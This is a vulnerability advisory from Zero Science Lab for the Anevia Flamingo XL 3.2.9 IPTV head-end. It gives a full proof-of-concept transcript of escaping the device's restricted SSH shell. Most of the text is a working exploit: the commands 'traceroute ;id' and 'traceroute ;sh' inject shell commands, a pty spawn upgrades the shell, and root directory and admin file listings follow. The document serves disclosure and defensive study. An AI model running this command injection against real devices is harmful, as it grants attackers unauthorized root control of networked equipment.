Anevia Flamingo XL version 3.2.9 suffers from an SSH sandbox escape via the use of traceroute. A remote attacker can breakout of the restricted environment and have full root access to the device.
Anevia Flamingo XL 3.2.9 (login) Remote Root Jailbreak
Vendor: Ateme
Product web page: https://www.ateme.com
Affected version: 3.2.9
Hardware revision 1.0
SoapLive 2.0.3
Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.
Desc: Once the admin establishes a secure shell session, she gets
dropped into a sandboxed environment using the login binary that
allows specific set of commands. One of those commands that can be
exploited to escape the jailed shell is traceroute. A remote attacker
can breakout of the restricted environment and have full root access
to the device.
Tested on: GNU/Linux 3.1.4 (x86_64)
Apache/2.2.15 (Unix)
mod_ssl/2.2.15
OpenSSL/0.9.8g
DAV/2
PHP/5.3.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5780
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5780.php
13.04.2023
--
$ ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 [email protected]
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
RSA key fingerprint is SHA256:E6TaDYkszZMbS555THYEPVzv1DpzYrwJzW1TM4+ZSLk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
Anevia Flamingo XL
[email protected]'s password:
Primary-XL> help
available commands:
bonding
config
date
dns
enable
ethconfig
exit
exp
firewall
help
hostname
http
igmpq
imp
ipconfig
license
log
mail
passwd
persistent_logs
ping
reboot
reset
route
serial
settings
sslconfig
tcpdump
timezone
traceroute
upgrade
uptime
version
vlanconfig
Primary-XL> tcpdump ;id
tcpdump: illegal token: ;
Primary-XL> id
unknown command id
Primary-XL> whoami
unknown command whoami
Primary-XL> ping ;id
ping: ;id: Host name lookup failure
Primary-XL> traceroute ;id
BusyBox v1.1.2p2 (2012.04.24-09:33+0000) multi-call binary
Usage: traceroute [-FIldnrv] [-f 1st_ttl] [-m max_ttl] [-p port#] [-q nqueries]
[-s src_addr] [-t tos] [-w wait] [-g gateway] [-i iface]
[-z pausemsecs] host [data size]
trace the route ip packets follow going to "host"
Options:
-F Set the don't fragment bit
-I Use ICMP ECHO instead of UDP datagrams
-l Display the ttl value of the returned packet
-d Set SO_DEBUG options to socket
-n Print hop addresses numerically rather than symbolically
-r Bypass the normal routing tables and send directly to a host
-v Verbose output
-m max_ttl Set the max time-to-live (max number of hops)
-p port# Set the base UDP port number used in probes
(default is 33434)
-q nqueries Set the number of probes per ``ttl'' to nqueries
(default is 3)
-s src_addr Use the following IP address as the source address
-t tos Set the type-of-service in probe packets to the following value
(default 0)
-w wait Set the time (in seconds) to wait for a response to a probe
(default 3 sec)
-g Specify a loose source route gateway (8 maximum)
uid=0(root) gid=0(root) groups=0(root)
Primary-XL> version
Software Revision: Anevia Flamingo XL v3.2.9
Hardware Revision: 1.0
(c) Anevia 2003-2012
Primary-XL> traceroute ;sh
...
...
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
ls -al
drwxr-xr-x 19 root root 1024 Oct 3 2022 .
drwxr-xr-x 19 root root 1024 Oct 3 2022 ..
drwxr-xr-x 2 root root 1024 Oct 21 2013 bin
drwxrwxrwt 2 root root 40 Oct 3 2022 cores
drwxr-xr-x 13 root root 27648 May 22 00:53 dev
drwxr-xr-x 3 root root 1024 Oct 21 2013 emul
drwxr-xr-x 48 1000 1000 3072 Oct 3 2022 etc
drwxr-xr-x 3 root root 1024 Oct 3 2022 home
drwxr-xr-x 11 root root 3072 Oct 21 2013 lib
lrwxrwxrwx 1 root root 20 Oct 21 2013 lib32 -> /emul/ia32-linux/lib
lrwxrwxrwx 1 root root 3 Oct 21 2013 lib64 -> lib
drwx------ 2 root root 12288 Oct 21 2013 lost+found
drwxr-xr-x 4 root root 1024 Oct 21 2013 mnt
drwxrwxrwt 2 root root 80 May 22 00:45 php_sessions
dr-xr-xr-x 177 root root 0 Oct 3 2022 proc
drwxr-xr-x 4 root root 1024 Oct 21 2013 root
drwxr-xr-x 2 root root 2048 Oct 21 2013 sbin
drwxr-xr-x 12 root root 0 Oct 3 2022 sys
drwxrwxrwt 26 root root 1140 May 22 01:06 tmp
drwxr-xr-x 10 1000 1000 1024 Oct 21 2013 usr
drwxr-xr-x 14 root root 1024 Oct 21 2013 var
ls /var/www/admin
_img configuration.php log_securemedia.php stream_dump.php
_lang cores_and_logs_management.php login.php stream_services
_lib dataminer_handshake.php logout.php streaming.php
_style dvbt.php logs.php support.php
about.php dvbt_scan.php main.php template
ajax export.php manager.php time.php
alarm.php fileprogress.php network.php toto.ts
alarm_view.php firewall.php pear upload_helper.php
authentication.php get_config power.php uptime.php
bridges.php get_enquiry_pending.php read_settings.php usbloader.php
cam.php get_upgrade_error.php receive_helper.php version.php
channel.php heartbeat.php rescrambling webradio.php
channel_xl_list.php include rescrambling.php webtv
check_state input.php resilience webtv.php
class js resilience.php xmltv.php
common license.php restart_service.php
config_snmp.php log.php set_oem.php
python -c 'import pty; pty.spawn("/bin/bash")'
root@Primary-XL:/# cd /usr/local/bin
root@Primary-XL:/usr/local/bin# ls -al login
-rwxr-xr-x 1 root root 35896 Feb 21 2012 login
root@Primary-XL:/usr/local/bin# cd ..
root@Primary-XL:/usr/local# ls commands/
bonding firewall mail timezone
config help passwd traceroute
date hostname persistent_logs upgrade
dbg-serial http ping uptime
dbg-set-oem igmpq route version
dbg-updates-log imp serial vlanconfig
dns ipconfig settings
ethconfig license sslconfig
exp log tcpdump
root@Primary-XL:/usr/local# exit
exit
Primary-XL> enable
password:
Primary-XL# ;]
